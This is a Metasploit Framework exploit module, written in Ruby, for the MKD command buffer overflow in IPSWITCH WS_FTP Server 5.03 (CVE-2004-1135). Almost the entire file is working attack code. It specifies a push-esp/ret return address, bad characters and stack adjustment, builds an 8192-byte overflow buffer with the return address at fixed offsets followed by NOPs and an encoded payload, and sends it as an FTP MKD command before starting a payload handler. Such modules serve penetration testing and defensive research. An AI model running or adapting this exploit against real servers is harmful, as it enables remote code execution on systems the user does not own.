metasploit-framework/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'WS-FTP Server 5.03 MKD Overflow',
'Description' => %q{
This module exploits the buffer overflow found in the MKD
command in IPSWITCH WS_FTP Server 5.03 discovered by Reed
Arvin.
},
'Author' => [ 'et', 'Reed Arvin <reedarvin[at]gmail.com>' ],
'License' => BSD_LICENSE,
'Platform' => [ 'win' ],
'References' =>
[
[ 'CVE', '2004-1135' ],
[ 'OSVDB', '12509' ],
[ 'BID', '11772'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 480,
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[
'WS-FTP Server 5.03 Universal',
{
'Ret' => 0x25185bb8,
# Address is executable to allow XP and 2K
# 0x25185bb8 = push esp, ret (libeay32.dll)
# B85B1825XX = mov eax,0xXX25185b
},
],
],
'DisclosureDate' => 'Nov 29 2004',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner =~ /5\.0\.3/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect_login
print_status("Trying target #{target.name}...")
buf = rand_text_alphanumeric(8192)
buf[498, 4] = [ 0x7ffd3001 ].pack('V')
buf[514, 4] = [ target.ret ].pack('V')
buf[518, 4] = [ target.ret ].pack('V')
buf[522, 2] = make_nops(2)
buf[524, payload.encoded.length] = payload.encoded
send_cmd( ['MKD', buf], true );
handler
disconnect
end
end